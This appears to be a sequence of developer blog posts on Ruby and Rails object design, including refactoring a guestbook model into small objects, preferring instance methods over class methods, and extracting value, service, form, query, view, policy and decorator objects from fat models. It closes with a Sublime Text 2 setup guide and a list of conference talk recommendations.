Without the interface of the standard streams to allow programs to collaborate, Unix systems might have ended up with larger programs with duplicative feature sets. In Microsoft Windows, most programs tend to be their own closed universes of functionality. To get word count of a document you’re writing on a Unix system, you’d run wc -w document.md. On a system running Windows you’d likely have to boot the entire Microsoft Word application in order to get a word count of document.docx. The count functionality of Word is locked in the context of use of editing a Word document.

Just as Unix and Windows are composed of programs as units of functionality, our systems are composed of objects. When we build chunky, monolithic objects that wrap huge swaths of procedural code, we’re building our own closed universes of functionality. We’re trapping the features we’ve built within a given context of use. Our objects are obfuscating important domain concepts by hiding them as implementation details.

In coarse-grained systems, each single object fills multiple roles increasing their complexity and resistance to change. Extending an object’s functionality or swapping out an implementation for another sometimes involves major shotgun surgery. The battle against complexity is fought within the definition of every object in your system. Fine-grained systems are composed of objects that are easier to understand, to modify, and to use.

Some years after that memo, McIlroy summarized the Unix philosophy as: “write programs that do one thing and do it well. Write programs to work together.” Eric Raymond rephrased this in The Art of Unix Programming as the Rule of Modularity: “write simple parts connected by clean interfaces.” This philosophy is a powerful strategy to help us manage complexity within our systems. Like Unix, our systems should consist of many small components each of which are focused on a specific task and work with each other via their interfaces to accomplish a larger task.

Everything But the Kitchen Sink

Let’s look at an example of an object that contains several different features. The requirement represented in this code is to create an old-school web guestbook for our home page. For anyone who missed the late nineties, like its physical analog a web guestbook was a place for visitors to acknowledge a visit to a web page and to leave public comments for the maintainer.

When we start the project the requirements are straightforward: save a name, an IP address, and a comment from any visitor that fills out the form and display those contents in an index view. We scaffold up a controller, generate a migration, a new model, sprinkle web design in some ERB templates, high five, and call it a day. This is a Rails system, I know this.

Over time our requirements begin growing and we slowly start adding new features. First, in real-life operations we realize that spammers are posting to the form so we want to build a simple spam filter to reject posts containing certain words. We also realize we want some kind of rate-limiting to prevent visitors from posting more than one message per day. Finally, we want to post to Twitter when a visitor signs our guestbook because if we’re going to be anachronistic with our code example, let’s get really weird with it.

require "set"

class GuestbookEntry < ActiveRecord::Base
  SPAM_TRIGGER_KEYWORDS = %w(viagra acne adult loans xxx mortgage).to_set
  RATE_LIMIT_KEY = "guestbook"
  RATE_LIMIT_TTL = 1.day

  validate :ensure_content_not_spam, on: :create
  validate :ensure_ip_address_not_rate_limited, on: :create

  after_create :post_to_twitter
  after_create :record_ip_address

  private

  def ensure_content_not_spam
    flagged_words = SPAM_TRIGGER_KEYWORDS & Set.new(content.split)

    unless flagged_words.empty?
      errors[:content] << "Your post has been rejected."
    end
  end

  def ensure_ip_address_not_rate_limited
    if $redis.exists(RATE_LIMIT_KEY)
      errors[:base] << "Sorry, please try again later."
    end
  end

  def post_to_twitter
    client = Twitter::Client.new(Configuration.twitter_options)
    client.update("We had a visitor! #{name} said #{content.first(50)}")
  end

  def record_ip_address
    $redis.setex("#{RATE_LIMIT_KEY}:#{ip_address}", RATE_LIMIT_TTL, "1")
  end
end

These features are oversimplified but set that aside for the purposes of this example. The above code shows us a hodgepodge of entwined features. Like the Microsoft Word example of the word count feature, the features we’ve built are locked within the context of creating a GuestbookEntry.

This kind of approach has several real-world implications. For one, the tests for this object likely exercise some of these features in the context of saving a database object. We don’t need to roundtrip to our database in order to validate that our rate limiting code is working, but since we’ve hung it off an after_create callback that’s likely what we might do because that’s the interface our application is using. These tests also likely littered with unrelated details and setup due to the coupling to unrelated but neighboring behavior and data.

At a glance it’s difficult to untangle which code relates to what feature. When looking at the code we have to think about at each line to discern which of the object’s behavior that line is principally concerned with. Clear naming helps us in this example but in a system where each behavior was represented by a domain object, we’d be able to assume that a line of code related to the object’s assigned responsibility.

Lastly, it’s easy for us to glance over the fact that we have, for example, the acorn of a user content spam filter in our system because it’s a minor detail of another object. If this were its own domain concept it would be much clearer that it was a first-class role within the system.

Applying the Unix Philosophy

Let’s look at this implementation through the lens of the Rule of Modularity. The above code fails the “simple parts, clean interfaces” sniff test. In our current factoring, we can’t extend or change these features without diffusing more details about them into the GuestbookEntry object. The interface by which our model uses this behavior through internal callbacks trigged through the object’s lifecycle. There are no external interfaces to these features despite the fact that each has their own behavior and data. This object now has several reasons to change.

Let’s refactor these features by extracting this behavior to independent objects to see how these shake out as stand-alone domain concepts. First we’ll extract the code in our spam check implementation into its own object.

require "set"

class UserContentSpamChecker
  TRIGGER_KEYWORDS = %w(viagra acne adult loans xrated).to_set

  def initialize(content)
    @content = content
  end

  def spam?
    flagged_words.present?
  end

  private

  def flagged_words
    TRIGGER_KEYWORDS & @content.split
  end
end

Features like this have serious sprawl potential. When we first see the problem of abuse we’re likely we respond with the simplest thing that could work. There’s usually quite a bit of churn in this code as our combatants expose new weaknesses in our implementation. The rate of change of our spam protection strategy is inherently different than that of our GuestbookEntry persistence object. Identifying our UserContentSpamChecker as its own dedicated domain concept and establishing it as such will allow us to more easily maintain and extend this functionality independently of where it’s being used.

Next we’ll extract our rate limiting code. Some small changes are required to decouple it fully from the guestbook such as the addition of a namespace.

class UserContentRateLimiter
  DEFAULT_TTL = 1.day

  def initialize(ip_address, namespace, options = {})
    @ip_address = ip_address
    @namespace  = namespace
    @ttl        = options.fetch(:ttl, DEFAULT_TTL)
    @redis      = options.fetch(:redis, $redis)
  end

  def exceeded?
    @redis.exists?(key)
  end

  def record
    @redis.setex(key, @ttl, "1")
  end

  private

  def key
    "rate_limiter:#{@namespace}:#{@ip_address}"
  end
end

Now that we have a stand-alone domain object, more advanced requirements for this rate limiting logic will only change this one object. Our tests can exercise this feature in isolation apart from any potential consumer of its functionality. This will not only speed up tests, but help future readers of the code in reading the tests to understand the feature more quickly.

Finally we’ll extract our call to the Twitter gem. It’s tiny, but there’s good reason to keep it separate from our GuestbookEntry. Since Twitter and the gem are third-party APIs, we’d like to isolate the coupling to an adapter object that we use to hide the nitty-gritty details of sending a tweet.

class Tweeter
  def post(content)
    client.update(content)
  end

  private

  def client
    @client ||= Twitter::Client.new(Configuration.twitter_options)
  end
end

Now that we have these smaller components, we can change our GuestbookEntry object to make use of them. We’ll replace the extracted logic with calls to the objects we’ve just created.

class GuestbookEntry < ActiveRecord::Base
  validate :ensure_content_not_spam, on: :create
  validate :ensure_ip_address_not_rate_limited, on: :create

  after_create :post_to_twitter
  after_create :record_ip_address

  private

  def ensure_content_not_spam
    if UserContentSpamChecker.new(content).spam?
      errors[:content] << "Post rejected."
    end
  end

  def ensure_ip_address_not_rate_limited
    if rate_limiter.exceeded?
      errors[:base] << "Please try again later."
    end
  end

  def post_to_twitter
    Tweeter.new.post("New visitor! #{name} said #{content.first(50)}")
  end

  def record_ip_address
    rate_limiter.record
  end

  def rate_limiter
    @rate_limiter ||= UserContentRateLimiter.new(ip_address, :guestbook)
  end
end

This new version is only a couple of lines shorter than our original implementation but it knows much less about its constituent parts. Many of the details of the “how” these features are implemented have found a dedicated home in our domain with our model calling those collaborators to accomplish the larger task of creating a GuestbookEntry. These features are now independently testable and individually addressable. They are no longer locked in the context of creating a GuestbookEntry. At the meager cost of a few more files and some more code we now have simpler objects and a better set of interfaces. These objects can be changed with less risk of ripple effects and their interfaces can be called by other objects in the system.

Wrapping Up

“Good code invariably has small methods and small objects. I get lots of resistance to this idea, especially from experienced developers, but no one thing I do to systems provides as much help as breaking it into more pieces.”

– Kent Beck, Smalltalk Best Practice Patterns

The Unix philosophy illustrates that small components that work together through an interface can be extraordinarily powerful. Nesting an aspect of your domain as an implementation detail of a specific model conflates responsibilities, bloats code, makes tests less isolated and slower, and hides concepts that should be first-class in your system.

Don’t let your domain concepts be shy. Promote them to full-fledged objects to make them more understandable, isolate and speed up their tests, reduce the likelihood that changes in neighboring features will have ripple effects, and provide the concepts a place to evolve apart from the rest of the system. The only thing we know with certainty about the futures of our systems is that they will change. We can design our systems to be more amenable to inevitable change by following the Unix philosophy and building clean interfaces between small objects that have one single responsibility.

I prefer object instances to class methods because class methods resist refactoring.

To illustrate, let’s look at an example background job for syncing data to a third-party analytics service:

class SyncToAnalyticsService
  ConnectionFailure = Class.new(StandardError)

  def self.perform(data)
    data              = data.symbolize_keys
    account           = Account.find(data[:account_id])
    analytics_client  = Analytics::Client.new(CC.config[:analytics_api_key])

    account_attributes = {
      account_id:         account.id,
      account_name:       account.name,
      account_user_count: account.users.count
    }

    account.users.each do |user|
      analytics_client.create_or_update({
        id:             user.id,
        email:          user.email,
        account_admin:  account.administered_by?(user)
      }.merge(account_attributes))
    end
  rescue SocketError => ex
    raise ConnectionFailure.new(ex.message)
  end
end

The job iterates over each user sending a hash of attributes as an HTTP POST. If a SocketError is raised, it gets wrapped as a SyncToAnalyticsService::ConnectionFailure, which ensures it gets categorized properly in our error tracking system.

The SyncToAnalyticsService.perform method is pretty complex. It certainly has multiple responsibilities. The Single Responsibility Principle (SRP) can be thought of as fractal, applying at a finer grained level of detail to all of applications, modules, classes and methods. SyncToAnalyticsService.perform is not a Composed Method because not all of the operations of the method are at the same level of abstraction.

One solution would be to apply Extract Method a few times. You’d end up with something like this:

class SyncToAnalyticsService
  ConnectionFailure = Class.new(StandardError)

  def self.perform(data)
    data                = data.symbolize_keys
    account             = Account.find(data[:account_id])
    analytics_client    = Analytics::Client.new(CC.config[:analytics_api_key])

    sync_users(analytics_client, account)
  end

  def self.sync_users(analytics_client, account)
    account_attributes  = account_attributes(account)

    account.users.each do |user|
      sync_user(analytics_client, account_attributes, user)
    end
  end

  def self.sync_user(analytics_client, account_attributes, user)
    create_or_update_user(analytics_client, account_attributes, user)
  rescue SocketError => ex
    raise ConnectionFailure.new(ex.message)
  end

  def self.create_or_update_user(analytics_client, account_attributes, user)
    attributes = user_attributes(user, account).merge(account_attributes)
    analytics_client.create_or_update(attributes)
  end

  def self.user_attributes(user, account)
    {
      id:             user.id,
      email:          user.email,
      account_admin:  account.administered_by?(user)
    }
  end

  def self.account_attributes(account)
    {
      account_id:         account.id,
      account_name:       account.name,
      account_user_count: account.users.count
    }
  end
end

This is a little better the original, but doesn’t feel right. It’s certainly not object oriented. It feels like a weird hybrid of procedural and functional programming, stuck in an object-based world. Additionally, you can’t easily declare the extracted methods private because they are at the class level. (You’d have to switch to an ugly class << self form.)

If I came across the original SyncToAnalyticsService implementation, I wouldn’t be eager to refactor only to end up with the above result. Instead, suppose we started with this:

class SyncToAnalyticsService
  ConnectionFailure = Class.new(StandardError)

  def self.perform(data)
    new(data).perform
  end

  def initialize(data)
    @data = data.symbolize_keys
  end

  def perform
    account           = Account.find(@data[:account_id])
    analytics_client  = Analytics::Client.new(CC.config[:analytics_api_key])

    account_attributes = {
      account_id:         account.id,
      account_name:       account.name,
      account_user_count: account.users.count
    }

    account.users.each do |user|
      analytics_client.create_or_update({
        id:             user.id,
        email:          user.email,
        account_admin:  account.administered_by?(user)
      }.merge(account_attributes))
    end
  rescue SocketError => ex
    raise ConnectionFailure.new(ex.message)
  end
end

Almost identical, but this time the functionality is in an instance method rather than a class method. Again, applying Extract Method we might end up with something like this:

class SyncToAnalyticsService
  ConnectionFailure = Class.new(StandardError)

  def self.perform(data)
    new(data).perform
  end

  def initialize(data)
    @data = data.symbolize_keys
  end

  def perform
    account.users.each do |user|
      create_or_update_user(user)
    end
  rescue SocketError => ex
    raise ConnectionFailure.new(ex.message)
  end

private

  def create_or_update_user(user)
    attributes = user_attributes(user).merge(account_attributes)
    analytics_client.create_or_update(attributes)
  end

  def user_attributes(user)
    {
      id:             user.id,
      email:          user.email,
      account_admin:  account.administered_by?(user)
    }
  end

  def account_attributes
    @account_attributes ||= {
      account_id:         account.id,
      account_name:       account.name,
      account_user_count: account.users.count
    }
  end

  def analytics_client
    @analytics_client ||= Analytics::Client.new(CC.config[:analytics_api_key])
  end

  def account
    @account ||= Account.find(@data[:account_id])
  end
end

Instead of adding class methods that have to pass around intermediate variables to get work done, we have methods like #account_attributes which memoize their results. I love this technique. When breaking down a method, extracting intermediate variables as memoized accessors is one of my favorite refactorings. The class didn’t start with any state, but as it was decomposed it was helpful to add some.

The result feels much cleaner to me. Refactoring to this feels like a clear win. There is now state and logic encapsulated together in an object. It’s easier to test because you can separate the creation of the object (Given) from the invokation of the action (When). And we’re not passing variables like the Account and Analytics::Client around everywhere.

Also, every piece of code that uses this logic won’t be coupled to the (global) class name. You can’t easily swap in new a class, but you can easily swap in a new instance. This encourages building up additional behavior with composition, rather than needing to re-open and expand classes for every change.

Refactoring note: I’d probably leave this class implemented as the last source listing shows. However, if the logic becomes more complex, this job is begging for a class to sync a single user to be split out.

So how does this relate to the premise of this article? I’m unlikely to see the opportunities for refactoring a class method because decomposing them produces ugly code. Starting with the instance form makes your refactoring options clear, and reduces friction to taking action on them. I’ve observed this effect many times in my own coding and also anecdotally across many Ruby teams over the years.

Objections

YAGNI (You Aren’t Going To Need It)

YANGI is an important principle, but misapplied in this case. If you open these classes in your editor, neither form is more or less complicated than the other. Saying “YAGNI an object here” is sort of like saying “YAGNI to indent with two spaces instead of a single tab.” The variants are only different stylistically. Applying YAGNI to object oriented design only make sense if there’s a difference in understandability (e.g. using one class versus two).

It Uses an Extra Object

Some people object on the basis that the instance form creates an additional object. That’s true, but in practice it doesn’t matter. Rails requests and background jobs create thousands upon thousands of Ruby objects. Optimizing object creation to lessen the stress on the Ruby garbage collector is a legitimate technique, but do it where it counts. You can only find out where it counts by measuring. It’s inconceivable that the single additional object that the instance variant creates will have a measurable impact on the performance of your system. (If you have a counter example with data, I’d love to hear about it.)

It’s Cumbersome to Call

Finally, some object that it is just easier to type:

Job.perform(args)
#  vs.
Job.new(args).perform

That is true. In that case I simply define a convenience class method that builds the object and delegates down. In fact, that is one of the few cases I think class methods are okay. You can have your cake and eat it too, in this regard.

Wrapping Up

Begin with an object instance, even if it doesn’t have state or multiple methods right away. If you come back to change it later, you (and your team) will be more likely to refactor. If it never changes, the difference between the class method approach and the instance is negligible, and you certainly won’t be any worse off.

There are very few cases where I am comfortable with class methods in my code. They are either convenience methods, wrapping the act of initializing an instance and invoking a method on it, or extremely simple factory methods (no more than two lines), to allow collaborators to more easily construct objects.

What do you think? Which form do you prefer and why? Are there any pros/cons that I missed? Post a comment and let me know what you think!

P.S. If this sort of thing interests you, and you want to read more articles like it, you might like the Code Climate newsletter (see below). It’s just one email a month, and includes content about refactoring and object design with a Ruby focus.

Further Reading

• Are class methods evil?
• Class vs instance methods

Thanks to Doug Cole, Don Morrison and Josh Susser for reviewing this post.

Early on, SRP is easier to apply. ActiveRecord classes handle persistence, associations and not much else. But bit-by-bit, they grow. Objects that are inherently responsible for persistence become the de facto owner of all business logic as well. And a year or two later you have a User class with over 500 lines of code, and hundreds of methods in it’s public interface. Callback hell ensues.

As you add more intrinsic complexity (read: features!) to your application, the goal is to spread it across a coordinated set of small, encapsulated objects (and, at a higher level, modules) just as you might spread cake batter across the bottom of a pan. Fat models are like the big clumps you get when you first pour the batter in. Refactor to break them down and spread out the logic evenly. Repeat this process and you’ll end up with a set of simple objects with well defined interfaces working together in a veritable symphony.

You may be thinking:

“But Rails makes it really hard to do OOP right!”

I used to believe that too. But after some exploration and practice, I realized that Rails (the framework) doesn’t impede OOP all that much. It’s the Rails “conventions” that don’t scale, or, more specifically, the lack of conventions for managing complexity beyond what the Active Record pattern can elegantly handle. Fortunately, we can apply OO-based principles and best practices where Rails is lacking.

Don’t Extract Mixins from Fat Models

Let’s get this out of the way. I discourage pulling sets of methods out of a large ActiveRecord class into “concerns”, or modules that are then mixed in to only one model. I once heard someone say:

“Any application with an app/concerns directory is concerning.”

And I agree. Prefer composition to inheritance. Using mixins like this is akin to “cleaning” a messy room by dumping the clutter into six separate junk drawers and slamming them shut. Sure, it looks cleaner at the surface, but the junk drawers actually make it harder to identify and implement the decompositions and extractions necessary to clarify the domain model.

Now on to the refactorings!

1. Extract Value Objects

Value Objects are simple objects whose equality is dependent on their value rather than an identity. They are usually immutable. Date, URI, and Pathname are examples from Ruby’s standard library, but your application can (and almost certainly should) define domain-specific Value Objects as well. Extracting them from ActiveRecords is low hanging refactoring fruit.

In Rails, Value Objects are great when you have an attribute or small group of attributes that have logic associated with them. Anything more than basic text fields and counters are candidates for Value Object extraction.

For example, a text messaging application I worked on had a PhoneNumber Value Object. An e-commerce application needs a Money class. Code Climate has a Value Object named Rating that represents a simple A - F grade that each class or module receives. I could (and originally did) use an instance of a Ruby String, but Rating allows me to combine behavior with the data:

class Rating
  include Comparable

  def self.from_cost(cost)
    if cost <= 2
      new("A")
    elsif cost <= 4
      new("B")
    elsif cost <= 8
      new("C")
    elsif cost <= 16
      new("D")
    else
      new("F")
    end
  end

  def initialize(letter)
    @letter = letter
  end

  def better_than?(other)
    self > other
  end

  def <=>(other)
    other.to_s <=> to_s
  end

  def hash
    @letter.hash
  end

  def eql?(other)
    to_s == other.to_s
  end

  def to_s
    @letter.to_s
  end
end

Every ConstantSnapshot then exposes an instance of Rating in its public interface:

class ConstantSnapshot < ActiveRecord::Base
  # …

  def rating
    @rating ||= Rating.from_cost(cost)
  end
end

Beyond slimming down the ConstantSnapshot class, this has a number of advantages:

• The #worse_than? and #better_than? methods provide a more expressive way to compare ratings than Ruby’s built-in operators (e.g. < and >).
• Defining #hash and #eql? makes it possible to use a Rating as a hash key. Code Climate uses this to idiomatically group constants by their ratings using Enumberable#group_by.
• The #to_s method allows me to interpolate a Rating into a string (or template) without any extra work.
• The class definition provides a convenient place for a factory method, returning the correct Rating for a given “remediation cost” (the estimated time it would take to fix all of the smells in a given class).

2. Extract Service Objects

Some actions in a system warrant a Service Object to encapsulate their operation. I reach for Service Objects when an action meets one or more of these criteria:

• The action is complex (e.g. closing the books at the end of an accounting period)
• The action reaches across multiple models (e.g. an e-commerce purchase using Order, CreditCard and Customer objects)
• The action interacts with an external service (e.g. posting to social networks)
• The action is not a core concern of the underlying model (e.g. sweeping up outdated data after a certain time period).
• There are multiple ways of performing the action (e.g. authenticating with an access token or password). This is the Gang of Four Strategy pattern.

As an example, we could pull a User#authenticate method out into a UserAuthenticator:

class UserAuthenticator
  def initialize(user)
    @user = user
  end

  def authenticate(unencrypted_password)
    return false unless @user

    if BCrypt::Password.new(@user.password_digest) == unencrypted_password
      @user
    else
      false
    end
  end
end

And the SessionsController would look like this:

class SessionsController < ApplicationController
  def create
    user = User.where(email: params[:email]).first

    if UserAuthenticator.new(user).authenticate(params[:password])
      self.current_user = user
      redirect_to dashboard_path
    else
      flash[:alert] = "Login failed."
      render "new"
    end
  end
end

3. Extract Form Objects

When multiple ActiveRecord models might be updated by a single form submission, a Form Object can encapsulate the aggregation. This is far cleaner than using accepts_nested_attributes_for, which, in my humble opinion, should be deprecated. A common example would be a signup form that results in the creation of both a Company and a User:

class Signup
  include Virtus

  extend ActiveModel::Naming
  include ActiveModel::Conversion
  include ActiveModel::Validations

  attr_reader :user
  attr_reader :company

  attribute :name, String
  attribute :company_name, String
  attribute :email, String

  validates :email, presence: true
  # … more validations …

  # Forms are never themselves persisted
  def persisted?
    false
  end

  def save
    if valid?
      persist!
      true
    else
      false
    end
  end

private

  def persist!
    @company = Company.create!(name: company_name)
    @user = @company.users.create!(name: name, email: email)
  end
end

I’ve started using Virtus in these objects to get ActiveRecord-like attribute functionality. The Form Object quacks like an ActiveRecord, so the controller remains familiar:

class SignupsController < ApplicationController
  def create
    @signup = Signup.new(params[:signup])

    if @signup.save
      redirect_to dashboard_path
    else
      render "new"
    end
  end
end

This works well for simple cases like the above, but if the persistence logic in the form gets too complex you can combine this approach with a Service Object. As a bonus, since validation logic is often contextual, it can be defined in the place exactly where it matters instead of needing to guard validations in the ActiveRecord itself.

4. Extract Query Objects

For complex SQL queries littering the definition of your ActiveRecord subclass (either as scopes or class methods), consider extracting query objects. Each query object is responsible for returning a result set based on business rules. For example, a Query Object to find abandoned trials might look like this:

class AbandonedTrialQuery
  def initialize(relation = Account.scoped)
    @relation = relation
  end

  def find_each(&block)
    @relation.
      where(plan: nil, invites_count: 0).
      find_each(&block)
  end
end

You might use it in a background job to send emails:

AbandonedTrialQuery.new.find_each do |account|
  account.send_offer_for_support
end

Since ActiveRecord::Relation instances are first class citizens as of Rails 3, they make a great input to a Query Object. This allows you to combine queries using composition:

old_accounts = Account.where("created_at < ?", 1.month.ago)
old_abandoned_trials = AbandonedTrialQuery.new(old_accounts)

Don’t bother testing a class like this in isolation. Use tests that exercise the object and the database together to ensure the correct rows are returned in the right order and any joins or eager loads are performed (e.g. to avoid N + 1 query bugs).

5. Introduce View Objects

If logic is needed purely for display purposes, it does not belong in the model. Ask yourself, “If I was implementing an alternative interface to this application, like a voice-activated UI, would I need this?”. If not, consider putting it in a helper or (often better) a View object.

For example, the donut charts in Code Climate break down class ratings based on a snapshot of the codebase (e.g. Rails on Code Climate) and are encapsulated as a View:

class DonutChart
  def initialize(snapshot)
    @snapshot = snapshot
  end

  def cache_key
    @snapshot.id.to_s
  end

  def data
    # pull data from @snapshot and turn it into a JSON structure
  end
end

I often find a one-to-one relationship between Views and ERB (or Haml/Slim) templates. This has led me to start investigating implementations of the Two Step View pattern that can be used with Rails, but I don’t have a clear solution yet.

Note: The term “Presenter” has caught on in the Ruby community, but I avoid it for its baggage and conflicting use. The “Presenter” term was introduced by Jay Fields to describe what I refer to above as “Form Objects”. Also, Rails unfortunately uses the term “view” to describe what are otherwise known as “templates”. To avoid ambiguity, I sometimes refer to these View objects as “View Models”.

6. Extract Policy Objects

Sometimes complex read operations might deserve their own objects. In these cases I reach for a Policy Object. This allows you to keep tangential logic, like which users are considered active for analytics purposes, out of your core domain objects. For example:

class ActiveUserPolicy
  def initialize(user)
    @user = user
  end

  def active?
    @user.email_confirmed? &&
    @user.last_login_at > 14.days.ago
  end
end

This Policy Object encapsulates one business rule, that a user is considered active if they have a confirmed email address and have logged in within the last two weeks. You can also use Policy Objects for a group of business rules like an Authorizer that regulates which data a user can access.

Policy Objects are similar to Service Objects, but I use the term “Service Object” for write operations and “Policy Object” for reads. They are also similar to Query Objects, but Query Objects focus on executing SQL to return a result set, whereas Policy Objects operate on domain models already loaded into memory.

7. Extract Decorators

Decorators let you layer on functionality to existing operations, and therefore serve a similar purpose to callbacks. For cases where callback logic only needs to run in some circumstances or including it in the model would give the model too many responsibilities, a Decorator is useful.

Posting a comment on a blog post might trigger a post to someone’s Facebook wall, but that doesn’t mean the logic should be hard wired into the Comment class. One sign you’ve added too many responsibilities in callbacks is slow and brittle tests or an urge to stub out side effects in wholly unrelated test cases.

Here’s how you might extract Facebook posting logic into a Decorator:

class FacebookCommentNotifier
  def initialize(comment)
    @comment = comment
  end

  def save
    @comment.save && post_to_wall
  end

private

  def post_to_wall
    Facebook.post(title: @comment.title, user: @comment.author)
  end
end

And how a controller might use it:

class CommentsController < ApplicationController
  def create
    @comment = FacebookCommentNotifier.new(Comment.new(params[:comment]))

    if @comment.save
      redirect_to blog_path, notice: "Your comment was posted."
    else
      render "new"
    end
  end
end

Decorators differ from Service Objects because they layer on responsibilities to existing interfaces. Once decorated, collaborators just treat the FacebookCommentNotifier instance as if it were a Comment. In its standard library, Ruby provides a number of facilities to make building decorators easier with metaprogramming.

Wrapping Up

Even in a Rails application, there are many tools to manage complexity in the model layer. None of them require you to throw out Rails. ActiveRecord is a fantastic library, but any pattern breaks down if you depend on it exclusively. Try limiting your ActiveRecords to persistence behavior. Sprinkle in some of these techniques to spread out the logic in your domain model and the result will be a much more maintainable application.

You’ll also note that many of the patterns described here are quite simple. The objects are just “Plain Old Ruby Objects” (PORO) used in different ways. And that’s part of the point and the beauty of OOP. Every problem doesn’t need to be solved by a framework or library, and naming matters a great deal.

What do you think of the seven techniques I presented above? What are your favorites and why? Have I missed any? Let me know in the comments!

P.S. If you found this post useful, you may want to subscribe to our email newsletter (see below). It’s low volume, and includes content about OOP and refactoring Rails applications like this.

Further Reading

• Objects on Rails
• Crazy, Heretical, and Awesome: The Way I Write Rails Apps
• ActiveRecord (and Rails) Considered Harmful
• Single Responsibility Principle on Rails Explained

Thank you to Steven Bristol, Piotr Solnica, Don Morrison, Jason Roelofs, Giles Bowkett, Justin Ko, Ernie Miller, Steve Klabnik, Pat Maddox, Sergey Nartimov and Nick Gauthier for reviewing this post.

This has been in the plans since the beginning and was one of the common requests since the launch for private accounts. It feels great to finally have it out the door. My hope is that Code Climate becomes as valuable a tool to Ruby open source development as Travis CI.

Code quality is especially important for OSS because of the large number of contributors they attract. Now quality metrics can complement a suite of automated tests to help ensure you’re shipping rock solid releases. Look out for more features around this coming soon.

Popular projects on Code Climate

You might be interested in taking a look at:

• Rails
• RSpec
• Devise
• Paperclip
• Rubinius (Ruby static analysis for a Ruby implementation!)

How to add repositories

To add any Ruby app or library that is hosted in a public GitHub repository, visit the Add GitHub Repository page. Just provide the name of the repo (e.g. thoughtbot/paperclip) and your email address. Code Climate will clone the project, analyze it, and shoot you an email when the metrics are ready. This only takes a few minutes.

Why Sublime Text 2?

• Speed. It’s got the responsiveness of Vim/Emacs but in a full GUI environment. It doesn’t freeze/beachball. No need to install a special plugin just to have a workable “Find In Project” solution.

• Polish. Some examples: Quit with one keystroke and windows and unsaved buffers are retained when you restart. Searching for files by name includes fuzzy matching and directory names. Whitespace is trimmed and newlines are added at the end of files. Configuration changes are applied instantly.

• Split screen. I never felt like I missed this that much with TextMate, but I really appreciate it now. It’s ideal for having a class and unit test side-by-side on a 27-inch monitor.

• Extensibility. The Python API is great for easily building your own extensions. There’s lots of example code in the wild to learn from. (More about this later.) ST2 support TextMate snippets and themes out-of-the-box.

• Great for pair programming. TextMate people feel right at home. Vim users can use Vintage mode. When pairing with Vim users, they use command mode when they are driving. I just switch out of command mode and everything “just works”. (It also works on Linux, if that’s your thing.)

• Updates. This is mainly just a knock on TextMate, but it’s comforting to see new dev builds pushed every couple weeks. The author also seems to be quite responsive in the user community. A build already shipped with support for retina displays, which I believe is scheduled for a TextMate release in 2014.

Getting Started

I’ve helped a handful of new ST2 users get setup over the past few months. Here are the steps I usually follow to take a new install from good to awesome:

1. Install the subl command line tool. Assuming ~/bin is in your path:

     ln -s "/Applications/Sublime Text 2.app/Contents/SharedSupport/bin/subl" ~/bin/subl
   

   It works like mate, but has more options. Check subl --help.

2. Install Package Control. Package Control makes it easy to install/remove/upgrade ST2 packages.

   Open the ST2 console with Ctrl+` (like Quake). Then paste this Python code from this page and hit enter. Reboot ST2. (You only need to do this once. From now on you’ll use Package Control to manage ST2 packages.)

3. Install the Soda theme. This dramatically improves the look and feel of the editor. Use Package Control to install the theme:

* Press ⌘⇧P to open the Command Palette.
* Select "Package Control: Install Package" and hit Enter.
* Type "Theme - Soda" and hit Enter to install the Soda package.

1. Start with a basic Settings file. You can use mine, which will activate the Soda Light theme. Reboot Sublime Text 2 so the Soda theme applies correctly. You can browse the default settings that ship with ST2 by choosing “Sublime Text 2” > “Preferences…” > “Settings - Default” to learn what you can configure.

2. Install more packages. My essentials are SCSS, RSpec, DetectSyntax and Git. DetectSyntax solves the problem of ensuring your RSpec, Rails and regular Ruby files open in the right mode.

3. Install CTags. CTags let you quickly navigate to code definitons (classes, methods, etc.). First:

     $ brew install ctags
   

   Then use Package Control to install the ST2 package. Check out the default CTags key bindings to see what you can do.

Leveling Up with Custom Commands

Sublime Text 2 makes it dead simple to write your own commands and key bindings in Python. Here are some custom bindings that I use:

• Copy the path of the current file to the clipboard. Source
• Close all tabs except the current one (reduces “tab sprawl”). Source
• Switch between test files and class definitions (much faster than TextMate). Source
• Compile CoffeeScript to JavaScript and display in a new buffer. Source

New key bindings are installed by dropping Python class files in ~/Library/Application Support/Sublime Text 2/Packages/User and then binding them from Default (OSX).sublime-keymap in the same directory. The ST2 Unofficial Documentation has more details.

Neil Sarkar, my colleague, wrote most of the code for all of the above within a few weeks of switching to ST2.

Running RSpec from Sublime Text 2

This is my favorite part of my Sublime Text 2 config. I’ll admit: Out of the box (even with the RSpec package installed), ST2 sucks for running tests. Fortunately, Neil wrote a Python script that makes running RSpec from Sublime Text 2 much better than running it from TextMate via the RSpec bundle.

With this script installed, you can bind ⌘R to run the current file and ⌘⇧R to run the current test. The tests will run in Terminal. This is great for a number of reasons:

• You can use any RSpec formatter and get nice, colored output.
• Adding calls to debugger or binding.pry works. No need to change how you run your tests when you want to debug.
• Window management. It’s smart enough to reuse the Terminal window for new test runs if you don’t close it. I put my Terminal window on the right 40% of my monitor.

This has really improved my TDD workflow when working on individual classes.

More Resources

• Be sure to check out Brandon Keeper’s post on getting started with ST2.
• This article on NetTuts has some good tips. (Although it’s a little out of date.)
• My entire ST2 user directory is on GitHub, as is Neil’s.
• You can search for ST2 packages here. Don’t be afraid to dive into their source – it’s usually quite approachable.

If you’ve tried Sublime Text 2, what did you think? What packages, key bindings, etc. are your favorites? What do you miss most from other editors?

• “Maintaining Balance while Reducing Duplication – Part 2” by David Chelimsky. This is a follow up to David’s excellent talk from RubyConf 2010 that explored the DRY Principle (Don’t Repeat Yourself) in depth and illustrated how it can be misapplied. The inherent tensions between different OO design principles is particularly interesting to me. I highly recommend watching the video, if you haven’t seen the original.

• “Sensible Testing” by Justin Leitgeb. Justin really impressed me with his lightning talk at a recent NYC.rb about Ruby mixins and their problems (see his related blog post). With this talk, I think he’ll do a great job exploring testing strategies for Rails apps in a practical, nuanced way. I wouldn’t be surprised if the Testing Pyramid comes up, which more developers should take to heart. TATFT is great mnemonic, but applying it well over a large codebase and a long period of time requires a great deal of consideration.

• “Hexagonal Rails” by Matt Wynne. Alistair Cockburn has been talking about Hexagonal Architecture (which he now calls “Ports and Adapters”) for years as a way to structure applications for better maintainability. It’s always been enticing to me, but it’s never been clear how to apply it to a Rails application. Matt has started exploring just that on his blog and I’m thrilled he’ll be giving a full-length talk on it at GORUCO. Personally, I hope he covers the implications on the model layer at least as much as controllers/views, and perhaps how this architecture might relate to the Anemic Domain Model antipattern described by Martin Fowler. (If not, I’ll ask him during Q&A. Hah.)

